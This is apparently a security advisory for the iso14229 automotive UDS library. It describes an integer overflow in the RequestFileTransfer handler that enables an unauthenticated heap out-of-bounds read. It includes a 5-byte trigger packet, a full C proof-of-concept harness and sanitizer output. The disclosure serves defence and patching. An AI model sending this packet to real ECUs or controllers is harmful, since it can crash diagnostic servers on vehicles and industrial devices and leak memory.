driftregion/iso14229: Integer overflow in Handle_0x38_RequestFileTransfer leads to heap out-of-bounds read via a 5-byte unauthenticated UDS request

Summary

An integer overflow in the Handle_0x38_RequestFileTransfer() function of iso14229.c allows a remote unauthenticated attacker to bypass a length bounds check and pass a fabricated 16-bit length value (65,532) to the application-level callback, causing the callback to read approximately 61 KB of heap memory past the end of the 4,095-byte receive buffer. The issue is triggered by a single 5-byte UDS RequestFileTransfer packet over any supported transport (CAN bus, OBD-II, ISO-TP, DoIP) without prior authentication or session negotiation. Impact includes denial of service (server process crash) and potential disclosure of heap memory contents to the attacker.

Details

Root cause — iso14229.c line 2023–2033:

uint16_t file_path_len = (uint16_t)(((uint16_t)r->recv_buf[2] << 8) + (uint16_t)r->recv_buf[3]); ... uint16_t byte_idx = 4 + file_path_len; // ← integer overflow here

if (byte_idx > r->recv_len) { // ← bypass: byte_idx == 0 err = UDS_NRC_IncorrectMessageLengthOrInvalidFormat; goto done; }

When an attacker sends file_path_len = 0xFFFC (65,532) the addition 4 + 65532 = 65536 is computed as a 32-bit int and then truncated to uint16_t, yielding 0. The guard condition (0 > recv_len) is always false, so the bounds check is silently bypassed.

After the bypass, the library populates UDSRequestFileTransferArgs_t with: args.filePathLen = 65532 (attacker-controlled) args.filePath = &recv_buf[4] (pointer into the 4095-byte recv_buf)

and calls EmitEvent(srv, UDS_EVT_RequestFileTransfer, &args) (iso14229.c:2093).

Any application callback that consumes args.filePathLen bytes from args.filePath — for example to copy the path before fopen(), compute a checksum, or write a diagnostic log — will read ≈61 KB (65532 − 4091) past the end of recv_buf, which is embedded in the heap-allocated UDSServer_t struct.

The vulnerability is structurally similar to CVE-2026-54413 (which affects Handle_0x27_SecurityAccess in the same library) but involves a different handler, a different integer-arithmetic class (addition wrap vs. subtraction underflow), and a different CWE root cause.

Dispatch path — no authentication gate: iso14229.c:2374 routes SID 0x38 as a "Service_without_sub-function", calling Handle_0x38_RequestFileTransfer directly without requiring a prior SecurityAccess (0x27) unlock. The vulnerability is therefore reachable in the default diagnostic session with no credentials.

PoC

Environment

• iso14229 HEAD (commit b0e92b14, version 0.9.0)
• Linux x86-64, gcc ≥ 12, AddressSanitizer

Build

# From the repository root
gcc -fsanitize=address -g \
    -DUDS_TP_ISOTP_MOCK \
    -DUDS_CUSTOM_MILLIS=1 \
    -I. \
    poc_0x38.c iso14229.c \
    -o poc_0x38

poc_0x38.c

/* poc_0x38.c — iso14229 Handle_0x38 OOB Read
 * Trigger packet: {0x38, 0x01, 0xFF, 0xFC, 0x00} (5 bytes)
 * file_path_len = 0xFFFC → byte_idx wraps to 0 → bounds check bypassed
 */
#include "iso14229.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static uint32_t g_millis = 0;
uint32_t UDSMillis(void) { return g_millis; }

static char g_path_buf[UDS_ISOTP_MTU];

static int victim_callback(UDSServer_t *srv, UDSEvent_t ev, void *arg) {
    if (ev != UDS_EVT_RequestFileTransfer) return UDS_NRC_ServiceNotSupported;
    UDSRequestFileTransferArgs_t *r = (UDSRequestFileTransferArgs_t *)arg;
    /* Realistic path copy — reads 65532 bytes from a 4095-byte buffer */
    memcpy(g_path_buf, r->filePath, r->filePathLen);
    return UDS_PositiveResponse;
}

static const uint8_t POC[] = { 0x38, 0x01, 0xFF, 0xFC, 0x00 };

int main(void) {
    UDSTp_t *srv_tp = ISOTPMockNew("server",
        &(ISOTPMockArgs_t){ .sa_phys=0x7E0, .ta_phys=0x7E8,
                            .sa_func=0x7DF, .ta_func=UDS_TP_NOOP_ADDR });
    UDSTp_t *atk_tp = ISOTPMockNew("attacker",
        &(ISOTPMockArgs_t){ .sa_phys=0x7E8, .ta_phys=0x7E0,
                            .sa_func=UDS_TP_NOOP_ADDR, .ta_func=0x7DF });
    UDSServer_t *srv = malloc(sizeof(UDSServer_t));
    UDSServerInit(srv);
    srv->tp = srv_tp;
    srv->fn = victim_callback;

    UDSTpSend(atk_tp, POC, sizeof(POC), NULL);
    for (int i = 0; i < 100; i++) {
        UDSServerPoll(srv); UDSTpPoll(srv_tp); UDSTpPoll(atk_tp); g_millis++;
    }
    return 0;
}

Expected output

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
READ of size 65532 at 0x... thread T0
    #0 in memcpy
    #1 in victim_callback poc_0x38.c:<line>
    #2 in EmitEvent iso14229.c:898
    #3 in Handle_0x38_RequestFileTransfer iso14229.c:2093
    #4 in evaluateServiceResponse iso14229.c:2374
    #5 in UDSServerPoll iso14229.c:2526

Reproduced 3/3 on Linux x86-64 (gcc 13, Ubuntu 24.04).

Impact

Any process embedding iso14229 as a UDS server and registering a UDS_EVT_RequestFileTransfer callback is affected. The handler is reachable over CAN bus, OBD-II, ISO-TP, and DoIP without prior authentication.

Primary impacts:

1. Denial of Service — the out-of-bounds read typically causes a segmentation

fault or watchdog reset, crashing the diagnostic server. On automotive ECUs this can disable OTA updates, remote diagnostics, and safety-relevant diagnostic monitors for the duration of the reset cycle.

1. Heap Memory Disclosure — an attacker whose transport provides a response

channel (e.g., DoIP over Ethernet) may be able to observe heap contents leaked through the callback's side effects (logs, error responses containing path data, or covert channels in timing). Approximately 61 KB of heap data past recv_buf may be exposed in a single request.

Affected deployments include automotive ECUs, industrial controllers, and IoT devices that use iso14229 ≤ 0.9.0 as their UDS server implementation.